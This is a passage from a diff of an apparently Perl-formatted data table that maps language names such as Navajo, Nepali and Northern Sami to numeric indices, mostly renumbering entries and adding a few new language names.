+      q(5025),
       q(0),
       ],
    q(nara) => [
-      q(5041),
+      q(5045),
       q(0),
       ],
    q(narak) => [
-      q(4713),
+      q(4714),
       q(0),
       ],
    q(narango) => [
-      q(5045),
+      q(5049),
       q(0),
       ],
    q(narau) => [
-      q(5145),
+      q(5149),
       q(0),
       ],
    q(nari nari) => [
-      q(5823),
+      q(5824),
       q(0),
       ],
    q(narim) => [
@@ -44257,387 +44307,387 @@
       q(0),
       ],
    q(naro) => [
-      q(4866),
+      q(4868),
       q(0),
       ],
    q(narom) => [
-      q(5049),
+      q(5053),
       q(0),
       ],
    q(narragansett) => [
-      q(7424),
+      q(7427),
       q(0),
       ],
    q(narrinyeri) => [
-      q(4729),
+      q(4730),
       q(0),
       ],
    q(narua) => [
-      q(5054),
+      q(5058),
       q(0),
       ],
    q(narungga) => [
-      q(4995),
+      q(4997),
       q(0),
       ],
    q(nasal) => [
-      q(5078),
+      q(5082),
       q(0),
       ],
    q(nasarian) => [
-      q(5120),
+      q(5124),
       q(0),
       ],
    q(naskapi) => [
-      q(5065),
+      q(5069),
       q(0),
       ],
    q(natanzi) => [
-      q(5094),
+      q(5098),
       q(0),
       ],
    q(nataoran amis) => [
-      q(0708),
+      q(0709),
       q(0),
       ],
    q(natchez) => [
-      q(4774),
+      q(4776),
       q(0),
       ],
    q(nateni) => [
-      q(5086),
+      q(5090),
       q(0),
       ],
    q(nathembo) => [
-      q(5081),
+      q(5085),
       q(0),
       ],
    q(natioro) => [
-      q(5083),
+      q(5087),
       q(0),
       ],
    q(natugu) => [
-      q(5090),
+      q(5094),
       q(0),
       ],
    q(nauete) => [
-      q(5133),
+      q(5137),
       q(0),
       ],
    q(naukan yupik) => [
-      q(7692),
+      q(7695),
       q(0),
       ],
    q(nauna) => [
-      q(4766),
+      q(4767),
       q(0),
       ],
    q(nauo) => [
-      q(5129),
+      q(5133),
       q(0),
       ],
    q(nauru) => [
-      q(0301),
+      q(0302),
       q(0),
       ],
    q(navaho) => [
-      q(0302),
+      q(0303),
       q(1),
       ],
    q(navajo) => [
-      q(0302),
+      q(0303),
       q(0),
       ],
    q(navut) => [
-      q(5076),
+      q(5080),
       q(0),
       ],
    q(nawaru) => [
-      q(5130),
+      q(5134),
       q(0),
       ],
    q(nawathinehena) => [
-      q(5123),
+      q(5127),
       q(0),
       ],
    q(nawdm) => [
-      q(4978),
+      q(4980),
       q(0),
       ],
    q(nawuri) => [
-      q(4727),
+      q(4728),
       q(0),
       ],
    q(naxi) => [
-      q(5143),
+      q(5147),
       q(0),
       ],
    q(nayi) => [
-      q(5022),
+      q(5024),
       q(0),
       ],
    q(nayini) => [
-      q(5159),
+      q(5163),
       q(0),
       ],
    q(ncane) => [
-      q(4769),
+      q(4771),
       q(0),
       ],
    q(nchumbulu) => [
-      q(4947),
+      q(4949),
       q(0),
       ],
    q(nda'nda') => [
-      q(5002),
+      q(5004),
       q(0),
       ],
    q(ndai) => [
-      q(2534),
+      q(2536),
       q(0),
       ],
    q(ndaka) => [
-      q(4784),
+      q(4786),
       q(0),
       ],
    q(ndaktup) => [
-      q(4768),
+      q(4769),
       q(0),
       ],
    q(ndali) => [
-      q(4781),
+      q(4783),
       q(0),
       ],
    q(ndam) => [
-      q(4786),
+      q(4788),
       q(0),
       ],
    q(ndamba) => [
-      q(4783),
+      q(4785),
       q(0),
       ],
    q(ndambomo) => [
-      q(5142),
+      q(5146),
       q(0),
       ],
    q(ndasa) => [
-      q(4775),
+      q(4777),
       q(0),
       ],
    q(ndau) => [
-      q(4777),
+      q(4779),
       q(0),
       ],
    q(nde-gbite) => [
-      q(4801),
+      q(4803),
       q(0),
       ],
    q(nde-nsele-nta) => [
-      q(4778),
+      q(4780),
       q(0),
       ],
    q(ndebele, north) => [
-      q(0304),
+      q(0305),
       q(0),
       ],
    q(ndebele, south) => [
-      q(0303),
+      q(0304),
       q(0),
       ],
    q(ndemli) => [
-      q(4964),
+      q(4966),
       q(0),
       ],
    q(ndendeule) => [
-      q(2094),
+      q(2095),
       q(0),
       ],
    q(ndengereko) => [
-      q(4780),
+      q(4782),
       q(0),
       ],
    q(nding) => [
-      q(2240),
+      q(2241),
       q(0),
       ],
    q(ndo) => [
-      q(4788),
+      q(4790),
       q(0),
       ],
    q(ndobo) => [
-      q(4794),
+      q(4796),
       q(0),
       ],
    q(ndoe) => [
-      q(4732),
+      q(4733),
       q(0),
       ],
    q(ndogo) => [
-      q(4797),
+      q(4799),
       q(0),
       ],
    q(ndolo) => [
-      q(4785),
+      q(4787),
       q(0),
       ],
    q(ndom) => [
-      q(5036),
+      q(5040),
       q(0),
       ],
    q(ndombe) => [
-      q(4789),
+      q(4791),
       q(0),
       ],
    q(ndonde hamba) => [
-      q(4898),
+      q(4900),
       q(0),
       ],
    q(ndonga) => [
-      q(0305),
+      q(0306),
       q(0),
       ],
    q(ndoola) => [
-      q(4790),
+      q(4792),
       q(0),
       ],
    q(ndra'ngith) => [
-      q(2010),
+      q(2011),
       q(0),
       ],
    q(nduga) => [
-      q(4795),
+      q(4797),
       q(0),
       ],
    q(ndumu) => [
-      q(4956),
+      q(4958),
       q(0),
       ],
    q(ndunda) => [
-      q(5101),
+      q(5105),
       q(0),
       ],
    q(ndunga) => [
-      q(4791),
+      q(4793),
       q(0),
       ],
    q(ndut) => [
-      q(4793),
+      q(4795),
       q(0),
       ],
    q(ndyuka-trio pidgin) => [
-      q(4908),
+      q(4910),
       q(0),
       ],
    q(ndzwani comorian) => [
-      q(7171),
+      q(7173),
       q(0),
       ],
    q(neapolitan) => [
-      q(0300),
+      q(0301),
       q(0),
       ],
    q(nedebang) => [
-      q(4800),
+      q(4802),
       q(0),
       ],
    q(nefamese) => [
-      q(4803),
+      q(4805),
       q(0),
       ],
    q(negerhollands) => [
-      q(1970),
+      q(1971),
       q(0),
       ],
    q(negeri sembilan malay) => [
-      q(7866),
+      q(7869),
       q(0),
       ],
    q(negidal) => [
-      q(4804),
+      q(4806),
       q(0),
       ],
    q(nehan) => [
-      q(5068),
+      q(5072),
       q(0),
       ],
    q(nek) => [
-      q(4877),
+      q(4879),
       q(0),
       ],
    q(nekgini) => [
-      q(4919),
+      q(4921),
       q(0),
       ],
    q(neko) => [
-      q(4807),
+      q(4809),
       q(0),
       ],
    q(neku) => [
-      q(4808),
+      q(4810),
       q(0),
       ],
    q(nelemwa-nixumwak) => [
-      q(4802),
+      q(4804),
       q(0),
       ],
    q(nema) => [
-      q(2632),
+      q(2634),
       q(0),
       ],
    q(neme) => [
-      q(4818),
+      q(4820),
       q(0),
       ],
    q(nemi) => [
-      q(4809),
+      q(4811),
       q(0),
       ],
    q(nen) => [
-      q(5037),
+      q(5041),
       q(0),
       ],
    q(nend) => [
-      q(0796),
+      q(0797),
       q(0),
       ],
    q(nenets) => [
-      q(7721),
+      q(7724),
       q(0),
       ],
    q(nenge) => [
-      q(2059),
+      q(2060),
       q(2),
       ],
    q(nengone) => [
-      q(4810),
+      q(4812),
       q(0),
       ],
    q(neo) => [
-      q(4816),
+      q(4818),
       q(0),
       ],
    q(neo-hittite) => [
-      q(4806),
+      q(4808),
       q(0),
       ],
    q(nepal bhasa) => [
-      q(0308),
+      q(0309),
       q(0),
       ],
    q(nepalese sign language) => [
-      q(5069),
+      q(5073),
       q(0),
       ],
    q(nepali) => [
-      q(0307),
+      q(0308),
       q(0),
       ],
    q(nepali (individual language)) => [
-      q(5027),
+      q(5029),
       q(0),
       ],
    q(nepali (macrolanguage)) => [
-      q(0307),
+      q(0308),
       q(1),
       ],
    q(nepali kurux) => [
@@ -44645,11 +44695,11 @@
       q(0),
       ],
    q(nete) => [
-      q(4815),
+      q(4817),
       q(0),
       ],
    q(neve'ei) => [
-      q(7026),
+      q(7027),
       q(1),
       ],
    q(neverver) => [
@@ -44657,71 +44707,71 @@
       q(1),
       ],
    q(new caledonian javanese) => [
-      q(3050),
+      q(3053),
       q(0),
       ],
    q(new zealand sign language) => [
-      q(5172),
+      q(5176),
       q(0),
       ],
    q(newari) => [
-      q(0308),
+      q(0309),
       q(1),
       ],
    q(neyo) => [
-      q(4819),
+      q(4821),
       q(0),
       ],
    q(nez perce) => [
-      q(4820),
+      q(4822),
       q(0),
       ],
    q(ngaanyatjarra) => [
-      q(5084),
+      q(5088),
       q(0),
       ],
    q(ngabere) => [
-      q(2698),
+      q(2700),
       q(0),
       ],
    q(ngad'a) => [
-      q(5136),
+      q(5140),
       q(0),
       ],
    q(ngadjunmaya) => [
-      q(4909),
+      q(4911),
       q(0),
       ],
    q(ngadjuri) => [
-      q(3149),
+      q(3151),
       q(0),
       ],
    q(ngaing) => [
-      q(4984),
+      q(4986),
       q(0),
       ],
    q(ngaju) => [
-      q(4881),
+      q(4883),
       q(0),
       ],
    q(ngala) => [
-      q(5097),
+      q(5101),
       q(0),
       ],
    q(ngalakan) => [
-      q(4878),
+      q(4880),
       q(0),
       ],
    q(ngalum) => [
-      q(6337),
+      q(6336),
       q(0),
       ],
    q(ngam) => [
-      q(4955),
+      q(4957),
       q(0),
       ],
    q(ngamambo) => [
-      q(4750),
+      q(4751),
       q(0),
       ],
    q(ngambay) => [
@@ -44729,51 +44779,51 @@
       q(0),
       ],
    q(ngamini) => [
-      q(4974),
+      q(4976),
       q(0),
       ],
    q(ngamo) => [
-      q(4737),
+      q(4738),
       q(0),
       ],
    q(ngan'gityemerri) => [
-      q(4720),
+      q(4721),
       q(0),
       ],
    q(nganakarti) => [
-      q(7419),
+      q(7422),
       q(0),
       ],
    q(nganasan) => [
-      q(4886),
+      q(4888),
       q(0),
       ],
    q(ngandi) => [
-      q(4875),
+      q(4877),
       q(0),
       ],
    q(ngando (central african republic)) => [
-      q(4829),
+      q(4831),
       q(0),
       ],
    q(ngando (democratic republic of congo)) => [
-      q(5134),
+      q(5138),
       q(0),
       ],
    q(ngandyera) => [
-      q(4983),
+      q(4985),
       q(0),
       ],
    q(ngangam) => [
-      q(2568),
+      q(2570),
       q(0),
       ],
    q(ngantangarra) => [
-      q(5082),
+      q(5086),
       q(0),
       ],
    q(nganyaywana) => [
-      q(5166),
+      q(5170),
       q(0),
       ],
    q(ngardi) => [
@@ -44781,503 +44831,511 @@
       q(0),
       ],
    q(ngarigu) => [
-      q(7418),
+      q(7421),
       q(0),
       ],
    q(ngarinman) => [
-      q(4739),
+      q(4740),
       q(0),
       ],
    q(ngarinyin) => [
-      q(6900),
+      q(6901),
       q(0),
       ],
    q(ngarla) => [
-      q(5047),
+      q(5051),
       q(0),
       ],
    q(ngarluma) => [
-      q(5048),
+      q(5052),
       q(0),
       ],
    q(ngas) => [
-      q(0792),
+      q(0793),
       q(0),
       ],
    q(ngasa) => [
-      q(5062),
+      q(5066),
       q(0),
       ],
    q(ngatik men's creole) => [
-      q(4837),
+      q(4839),
       q(0),
       ],
    q(ngawn chin) => [
-      q(1803),
+      q(1804),
       q(0),
       ],
    q(ngawun) => [
-      q(5141),
+      q(5145),
       q(0),
       ],
    q(ngayawung) => [
-      q(5126),
+      q(5130),
       q(0),
       ],
    q(ngazidja comorian) => [
-      q(7817),
+      q(7820),
       q(0),
       ],
    q(ngbaka) => [
-      q(4826),
+      q(4828),
       q(0),
       ],
    q(ngbaka ma'bo) => [
-      q(4741),
+      q(4742),
       q(0),
       ],
    q(ngbaka manza) => [
-      q(4831),
+      q(4833),
       q(0),
       ],
    q(ngbee) => [
-      q(3081),
+      q(3083),
       q(0),
       ],
    q(ngbinda) => [
-      q(4734),
+      q(4735),
       q(0),
       ],
    q(ngbundu) => [
-      q(5114),
+      q(5118),
       q(0),
       ],
    q(ngelima) => [
-      q(0659),
+      q(0660),
       q(0),
       ],
    q(ngemba) => [
-      q(4830),
+      q(4832),
       q(0),
       ],
-   q(ngeq) => [
-      q(4844),
+   q(ngendelengo) => [
+      q(5039),
       q(0),
       ],
+   q(ngeq) => [
+      q(4846),
+      q(1),
+      ],
    q(ngete) => [
-      q(4992),
+      q(4994),
       q(0),
       ],
    q(nggem) => [
-      q(4745),
+      q(4746),
       q(0),
       ],
    q(nggwahyi) => [
-      q(4848),
+      q(4850),
       q(0),
       ],
    q(ngie) => [
-      q(4834),
+      q(4836),
       q(0),
       ],
    q(ngiemboon) => [
-      q(4986),
+      q(4988),
       q(0),
       ],
    q(ngile) => [
-      q(3111),
+      q(3113),
       q(0),
       ],
    q(ngindo) => [
-      q(4994),
+      q(4996),
       q(0),
       ],
    q(ngiti) => [
-      q(4894),
+      q(4896),
       q(0),
       ],
    q(ngizim) => [
-      q(4833),
+      q(4835),
       q(0),
       ],
    q(ngkalmpw kanum) => [
-      q(3209),
+      q(3211),
       q(0),
       ],
    q(ngom) => [
-      q(5040),
+      q(5044),
       q(0),
       ],
    q(ngomba) => [
-      q(3084),
+      q(3086),
       q(0),
       ],
    q(ngombale) => [
-      q(4937),
+      q(4939),
       q(0),
       ],
    q(ngombe (central african republic)) => [
-      q(4962),
+      q(4964),
       q(0),
       ],
    q(ngombe (democratic republic of congo)) => [
-      q(4828),
+      q(4830),
       q(0),
       ],
    q(ngongo) => [
-      q(5015),
+      q(5017),
       q(0),
       ],
    q(ngoni) => [
-      q(4839),
+      q(4841),
       q(0),
       ],
    q(ngoreme) => [
-      q(4841),
+      q(4843),
       q(1),
       ],
    q(ngoshie) => [
-      q(5063),
+      q(5067),
       q(0),
       ],
    q(ngul) => [
-      q(4945),
+      q(4947),
       q(0),
       ],
    q(ngulu) => [
-      q(4840),
+      q(4842),
       q(0),
       ],
    q(nguluwan) => [
-      q(5116),
+      q(5120),
       q(0),
       ],
    q(ngumbi) => [
-      q(5102),
+      q(5106),
       q(0),
       ],
    q(ngunawal) => [
-      q(7517),
+      q(7520),
       q(0),
       ],
    q(ngundi) => [
-      q(4787),
+      q(4789),
       q(0),
       ],
    q(ngundu) => [
-      q(5098),
+      q(5102),
       q(0),
       ],
    q(ngungwel) => [
-      q(4850),
+      q(4852),
       q(0),
       ],
    q(nguon) => [
-      q(5108),
+      q(5112),
       q(0),
       ],
    q(ngurimi) => [
-      q(4841),
+      q(4843),
       q(0),
       ],
    q(ngurmbur) => [
-      q(5055),
+      q(5059),
       q(0),
       ],
    q(ngwaba) => [
-      q(4847),
+      q(4849),
       q(0),
       ],
    q(ngwe) => [
-      q(5125),
+      q(5129),
       q(0),
       ],
    q(ngwo) => [
-      q(4838),
+      q(4840),
       q(0),
       ],
    q(nhanda) => [
-      q(4851),
+      q(4853),
       q(0),
       ],
    q(nhengatu) => [
-      q(7722),
+      q(7725),
       q(0),
       ],
    q(nhirrpi) => [
-      q(2832),
+      q(2834),
       q(0),
       ],
    q(nhuwala) => [
-      q(4856),
+      q(4858),
       q(0),
       ],
    q(nias) => [
-      q(0309),
+      q(0310),
       q(0),
       ],
    q(nicaragua creole english) => [
-      q(1621),
+      q(1622),
       q(0),
       ],
    q(nicaraguan sign language) => [
-      q(4770),
+      q(4772),
       q(0),
       ],
    q(nicarao) => [
-      q(5566),
+      q(5570),
       q(1),
       ],
    q(niellim) => [
-      q(4876),
+      q(4878),
       q(0),
       ],
    q(niger-kordofanian languages) => [
-      q(0310),
+      q(0311),
       q(0),
       ],
    q(nigeria mambila) => [
-      q(4695),
+      q(4696),
       q(0),
       ],
    q(nigerian fulfulde) => [
-      q(2390),
+      q(2391),
       q(0),
       ],
    q(nigerian pidgin) => [
-      q(5385),
+      q(5389),
       q(0),
       ],
    q(nigerian sign language) => [
-      q(5064),
+      q(5068),
       q(0),
       ],
    q(nihali) => [
-      q(4944),
+      q(4946),
       q(0),
       ],
    q(nii) => [
-      q(4880),
+      q(4882),
       q(0),
       ],
    q(niksek) => [
-      q(2420),
+      q(2421),
       q(0),
       ],
    q(nila) => [
-      q(4883),
+      q(4885),
       q(0),
       ],
    q(nilamba) => [
-      q(4884),
+      q(4886),
       q(0),
       ],
    q(nilo-saharan languages) => [
-      q(0406),
+      q(0407),
       q(0),
       ],
    q(nimadi) => [
-      q(5006),
+      q(5008),
       q(0),
       ],
    q(nimanbur) => [
-      q(4968),
+      q(4970),
       q(0),
       ],
    q(nimbari) => [
-      q(4970),
+      q(4972),
       q(0),
       ],
    q(nimboran) => [
-      q(4888),
+      q(4890),
       q(0),
       ],
    q(nimi) => [
-      q(4889),
+      q(4891),
       q(0),
       ],
    q(nimo) => [
-      q(4892),
+      q(4894),
       q(0),
       ],
    q(nimoa) => [
-      q(4975),
+      q(4977),
       q(0),
       ],
    q(ninam) => [
-      q(6001),
+      q(6002),
       q(0),
       ],
    q(ninde) => [
-      q(4624),
+      q(4625),
       q(1),
       ],
    q(nindi) => [
-      q(5137),
+      q(5141),
       q(0),
       ],
    q(ningera) => [
-      q(4752),
+      q(4753),
       q(0),
       ],
    q(ninggerum) => [
-      q(5144),
+      q(5148),
       q(0),
       ],
    q(ningil) => [
-      q(4895),
+      q(4897),
       q(0),
       ],
    q(ningye) => [
-      q(4996),
+      q(4998),
       q(0),
       ],
    q(ninia yali) => [
-      q(4943),
+      q(4945),
       q(0),
       ],
    q(ninzo) => [
-      q(4885),
+      q(4887),
       q(0),
       ],
    q(nipsan) => [
-      q(5031),
+      q(5033),
       q(0),
       ],
    q(nisa) => [
-      q(4907),
+      q(4909),
       q(0),
       ],
    q(nisenan) => [
-      q(5079),
+      q(5083),
       q(0),
       ],
    q(nisga'a) => [
-      q(4759),
+      q(4760),
       q(0),
       ],
    q(nisi (china)) => [
-      q(7734),
+      q(7737),
       q(0),
       ],
    q(niuafo'ou) => [
-      q(5106),
+      q(5110),
       q(0),
       ],
    q(niuatoputapu) => [
-      q(4927),
+      q(4929),
       q(0),
       ],
    q(niuean) => [
-      q(0311),
+      q(0312),
       q(0),
       ],
    q(nivacle) => [
-      q(1642),
+      q(1643),
       q(0),
       ],
    q(niwer mil) => [
-      q(2827),
+      q(2829),
       q(0),
       ],
    q(njalgulgule) => [
-      q(4902),
+      q(4904),
       q(0),
       ],
    q(njebi) => [
-      q(5169),
+      q(5173),
       q(0),
       ],
    q(njen) => [
-      q(4901),
+      q(4903),
       q(0),
       ],
    q(njerep) => [
-      q(4906),
+      q(4908),
       q(0),
       ],
    q(njyem) => [
-      q(4911),
+      q(4913),
       q(0),
       ],
    q(nkami) => [
-      q(4928),
+      q(4930),
       q(0),
       ],
    q(nkangala) => [
-      q(4925),
+      q(4927),
       q(0),
       ],
    q(nkari) => [
-      q(4936),
+      q(4938),
       q(0),
       ],
    q(nkem-nkum) => [
-      q(2997),
+      q(3000),
       q(0),
       ],
    q(nkhumbi) => [
-      q(3345),
+      q(3346),
       q(0),
       ],
    q(nkongho) => [
-      q(4915),
+      q(4917),
       q(0),
       ],
    q(nkonya) => [
-      q(4926),
+      q(4928),
       q(0),
       ],
    q(nkoroo) => [
-      q(4935),
+      q(4937),
       q(0),
       ],
    q(nkoya) => [
-      q(4913),
+      q(4915),
       q(0),
       ],
    q(nkukoli) => [
-      q(4743),
+      q(4744),
       q(0),
       ],
    q(nkutu) => [
-      q(4934),
+      q(4936),
       q(0),
       ],
    q(nnam) => [
-      q(4744),
+      q(4745),
       q(0),
       ],
    q(no linguistic content) => [
-      q(0485),
+      q(0486),
       q(0),
       ],
    q(nobiin) => [
-      q(2341),
+      q(2342),
       q(0),
       ],
    q(nobonob) => [
-      q(2415),
+      q(2416),
       q(0),
       ],
    q(nocaman) => [
-      q(5013),
+      q(5015),
       q(0),
       ],
    q(nocte naga) => [
-      q(4897),
+      q(4899),
       q(0),
       ],
    q(nogai) => [
-      q(0314),
+      q(0315),
       q(0),
       ],
+   q(noipx) => [
+      q(5035),
+      q(0),
+      ],
    q(noiri) => [
-      q(5009),
+      q(5011),
       q(0),
       ],
    q(nokuku) => [
-      q(4923),
+      q(4925),
       q(0),
       ],
    q(nomaande) => [
@@ -45285,31 +45343,31 @@
       q(0),
       ],
    q(nomane) => [
-      q(5007),
+      q(5009),
       q(0),
       ],
    q(nomatsiguenga) => [
-      q(5017),
+      q(5019),
       q(0),
       ],
    q(nomlaki) => [
-      q(5012),
+      q(5014),
       q(0),
       ],
    q(nomu) => [
-      q(5008),
+      q(5010),
       q(0),
       ],
    q(nong zhuang) => [
-      q(7829),
+      q(7832),
       q(0),
       ],
    q(nonuya) => [
-      q(5010),
+      q(5012),
       q(0),
       ],
    q(nooksack) => [
-      q(5011),
+      q(5013),
       q(0),
       ],
    q(noon) => [
@@ -45317,71 +45375,71 @@
       q(0),
       ],
    q(noone) => [
-      q(4868),
+      q(4870),
       q(0),
       ],
    q(nopala chatino) => [
-      q(1923),
+      q(1924),
       q(0),
       ],
    q(nora) => [
-      q(5052),
+      q(5056),
       q(1),
       ],
    q(noric) => [
-      q(5042),
+      q(5046),
       q(0),
       ],
    q(norn) => [
-      q(5050),
+      q(5054),
       q(0),
       ],
    q(norra) => [
-      q(5052),
+      q(5056),
       q(0),
       ],
    q(norse, old) => [
-      q(0315),
+      q(0316),
       q(0),
       ],
    q(north alaskan inupiatun) => [
-      q(2289),
+      q(2290),
       q(0),
       ],
    q(north ambrym) => [
-      q(4388),
+      q(4389),
       q(0),
       ],
    q(north american indian languages) => [
-      q(0299),
+      q(0300),
       q(0),
       ],
    q(north asmat) => [
-      q(4930),
+      q(4932),
       q(0),
       ],
    q(north awyu) => [
-      q(7639),
+      q(7642),
       q(0),
       ],
    q(north azerbaijani) => [
-      q(1016),
+      q(1017),
       q(0),
       ],
    q(north babar) => [
-      q(1067),
+      q(1068),
       q(0),
       ],
    q(north bolivian quechua) => [
-      q(5677),
+      q(5679),
       q(0),
       ],
    q(north caucasian languages) => [
-      q(0495),
+      q(0496),
       q(0),
       ],
    q(north central mixe) => [
-      q(4812),
+      q(4814),
       q(0),
       ],
    q(north efate) => [
@@ -45389,39 +45447,39 @@
       q(0),
       ],
    q(north fali) => [
-      q(2352),
+      q(2353),
       q(0),
       ],
    q(north germanic languages) => [
-      q(0506),
+      q(0507),
       q(0),
       ],
    q(north giziga) => [
-      q(2520),
+      q(2522),
       q(0),
       ],
    q(north junin quechua) => [
-      q(5697),
+      q(5699),
       q(0),
       ],
    q(north levantine arabic) => [
-      q(0835),
+      q(0836),
       q(0),
       ],
    q(north marquesan) => [
-      q(4513),
+      q(4514),
       q(0),
       ],
    q(north mesopotamian arabic) => [
-      q(1004),
+      q(1005),
       q(0),
       ],
    q(north mofu) => [
-      q(4226),
+      q(4227),
       q(0),
       ],
    q(north moluccan malay) => [
-      q(4117),
+      q(4118),
       q(0),
       ],
    q(north muyu) => [
@@ -45429,15 +45487,15 @@
       q(0),
       ],
    q(north ndebele) => [
-      q(0304),
+      q(0305),
       q(1),
       ],
    q(north nuaulu) => [
-      q(4987),
+      q(4989),
       q(0),
       ],
    q(north picene) => [
-      q(5051),
+      q(5055),
       q(0),
       ],
    q(north slavey) => [
@@ -45453,35 +45511,35 @@
       q(0),
       ],
    q(north wahgi) => [
-      q(7108),
+      q(7110),
       q(0),
       ],
    q(north watut) => [
-      q(6898),
+      q(6899),
       q(0),
       ],
    q(northeast kiwai) => [
-      q(3370),
+      q(3371),
       q(0),
       ],
    q(northeast maidu) => [
-      q(4973),
+      q(4975),
       q(0),
       ],
    q(northeast pashai) => [
-      q(0627),
+      q(0628),
       q(0),
       ],
    q(northeast pashayi) => [
-      q(0627),
+      q(0628),
       q(1),
       ],
    q(northeastern dinka) => [
-      q(2041),
+      q(2042),
       q(0),
       ],
    q(northeastern pomo) => [
-      q(5400),
+      q(5404),
       q(0),
       ],
    q(northeastern thai) => [
@@ -45489,11 +45547,11 @@
       q(0),
       ],
    q(northern alta) => [
-      q(0863),
+      q(0864),
       q(0),
       ],
    q(northern altai) => [
-      q(0928),
+      q(0929),
       q(0),
       ],
    q(northern amami-oshima) => [
@@ -45501,11 +45559,11 @@
       q(0),
       ],
    q(northern bai) => [
-      q(1138),
+      q(1139),
       q(1),
       ],
    q(northern betsimisaraka malagasy) => [
-      q(1314),
+      q(1315),
       q(0),
       ],
    q(northern binukidnon) => [
@@ -45513,95 +45571,99 @@
       q(0),
       ],
    q(northern bobo madare) => [
-      q(1052),
+      q(1053),
       q(0),
       ],
    q(northern bontok) => [
-      q(5748),
+      q(5750),
       q(0),
       ],
    q(northern catanduanes bikol) => [
-      q(1893),
+      q(1894),
       q(0),
       ],
    q(northern conchucos ancash quechua) => [
-      q(5714),
+      q(5716),
       q(0),
       ],
    q(northern dagara) => [
-      q(2004),
+      q(2005),
       q(0),
       ],
    q(northern dong) => [
-      q(2108),
+      q(2109),
       q(0),
       ],
    q(northern east cree) => [
-      q(1847),
+      q(1848),
       q(0),
       ],
    q(northern embera) => [
-      q(2253),
+      q(2254),
       q(0),
       ],
    q(northern frisian) => [
-      q(0140),
+      q(0141),
       q(0),
       ],
    q(northern ghale) => [
-      q(2501),
+      q(2502),
       q(0),
       ],
    q(northern gondi) => [
-      q(2575),
+      q(2577),
       q(0),
       ],
    q(northern grebo) => [
-      q(2430),
+      q(2431),
       q(0),
       ],
    q(northern guiyang hmong) => [
-      q(2855),
+      q(2857),
       q(0),
       ],
    q(northern guiyang miao) => [
-      q(2855),
+      q(2857),
       q(1),
       ],
    q(northern haida) => [
-      q(2734),
+      q(2736),
       q(0),
       ],
    q(northern hindko) => [
-      q(2802),
+      q(2804),
       q(0),
       ],
    q(northern huishui hmong) => [
-      q(2780),
+      q(2782),
       q(0),
       ],
    q(northern huishui miao) => [
-      q(2780),
+      q(2782),
       q(1),
       ],
    q(northern kalapuya) => [
-      q(5053),
+      q(5057),
       q(0),
       ],
    q(northern kankanay) => [
-      q(7420),
+      q(7423),
       q(0),
       ],
+   q(northern katang) => [
+      q(4770),
+      q(0),
+      ],
    q(northern khmer) => [
       q(3721),
       q(0),
       ],
    q(northern kissi) => [
-      q(3561),
+      q(3562),
       q(0),
       ],
    q(northern kurdish) => [
-      q(3467),
+      q(3468),
       q(0),
       ],
    q(northern luri) => [
@@ -45609,107 +45671,107 @@
       q(0),
       ],
    q(northern mashan hmong) => [
-      q(2785),
+      q(2787),
       q(0),
       ],
    q(northern mashan miao) => [
-      q(2785),
+      q(2787),
       q(1),
       ],
    q(northern muji) => [
-      q(7686),
+      q(7689),
       q(0),
       ],
    q(northern nago) => [
-      q(7353),
+      q(7356),
       q(0),
       ],
    q(northern ngbandi) => [
-      q(4827),
+      q(4829),
       q(0),
       ],
    q(northern nisu) => [
-      q(7643),
+      q(7646),
       q(0),
       ],
    q(northern nuni) => [
-      q(5115),
+      q(5119),
       q(0),
       ],
    q(northern oaxaca nahuatl) => [
-      q(4872),
+      q(4874),
       q(0),
       ],
    q(northern ohlone) => [
-      q(1877),
+      q(1878),
       q(0),
       ],
    q(northern one) => [
-      q(5268),
+      q(5272),
       q(0),
       ],
    q(northern paiute) => [
-      q(5346),
+      q(5350),
       q(0),
       ],
    q(northern pame) => [
-      q(5514),
+      q(5518),
       q(0),
       ],
    q(northern pashto) => [
-      q(5370),
+      q(5374),
       q(0),
       ],
    q(northern pastaza quichua) => [
-      q(5703),
+      q(5705),
       q(0),
       ],
    q(northern pomo) => [
-      q(5404),
+      q(5408),
       q(0),
       ],
    q(northern puebla nahuatl) => [
-      q(4762),
+      q(4763),
       q(0),
       ],
    q(northern pumi) => [
-      q(5507),
+      q(5511),
       q(0),
       ],
    q(northern qiandong miao) => [
-      q(2737),
+      q(2739),
       q(0),
       ],
    q(northern qiang) => [
-      q(1794),
+      q(1795),
       q(0),
       ],
    q(northern rengma naga) => [
-      q(4990),
+      q(4992),
       q(0),
       ],
    q(northern roglai) => [
-      q(5830),
+      q(5831),
       q(0),
       ],
    q(northern sami) => [
-      q(0388),
+      q(0389),
       q(0),
       ],
    q(northern sierra miwok) => [
-      q(5070),
+      q(5074),
       q(0),
       ],
    q(northern sorsoganon) => [
-      q(1270),
+      q(1271),
       q(0),
       ],
    q(northern sotho) => [
-      q(0318),
+      q(0319),
       q(2),
       ],
    q(northern subanen) => [
-      q(6245),
+      q(6244),
       q(0),
       ],
    q(northern tarahumara) => [
@@ -45717,15 +45779,15 @@
       q(0),
       ],
    q(northern tepehuan) => [
-      q(5088),
+      q(5092),
       q(0),
       ],
    q(northern thai) => [
-      q(5005),
+      q(5007),
       q(0),
       ],
    q(northern tidung) => [
-      q(5080),
+      q(5084),
       q(0),
       ],
    q(northern tiwa) => [
@@ -45733,7 +45795,7 @@
       q(0),
       ],
    q(northern tlaxiaco mixtec) => [
-      q(7500),
+      q(7503),
       q(0),
       ],
    q(northern toussian) => [
@@ -45749,59 +45811,59 @@
       q(0),
       ],
    q(northern uzbek) => [
-      q(6952),
+      q(6953),
       q(0),
       ],
    q(northern yukaghir) => [
-      q(7647),
+      q(7650),
       q(0),
       ],
    q(northwest alaska inupiatun) => [
-      q(2290),
+      q(2291),
       q(0),
       ],
    q(northwest gbaya) => [
-      q(2690),
+      q(2692),
       q(0),
       ],
    q(northwest maidu) => [
-      q(4314),
+      q(4315),
       q(0),
       ],
    q(northwest oaxaca mixtec) => [
-      q(4639),
+      q(4640),
       q(0),
       ],
    q(northwest pashai) => [
-      q(2541),
+      q(2543),
       q(0),
       ],
    q(northwest pashayi) => [
-      q(2541),
+      q(2543),
       q(1),
       ],
    q(northwestern dinka) => [
-      q(2047),
+      q(2048),
       q(0),
       ],
    q(northwestern fars) => [
-      q(2334),
+      q(2335),
       q(0),
       ],
    q(northwestern kolami) => [
-      q(3281),
+      q(3283),
       q(0),
       ],
    q(northwestern kung) => [
-      q(6959),
+      q(6960),
       q(1),
       ],
    q(northwestern nisu) => [
-      q(5061),
+      q(5065),
       q(0),
       ],
    q(northwestern ojibwa) => [
-      q(5209),
+      q(5213),
       q(0),
       ],
    q(northwestern tamang) => [
@@ -45809,83 +45871,83 @@
       q(0),
       ],
    q(norwegian) => [
-      q(0316),
+      q(0317),
       q(0),
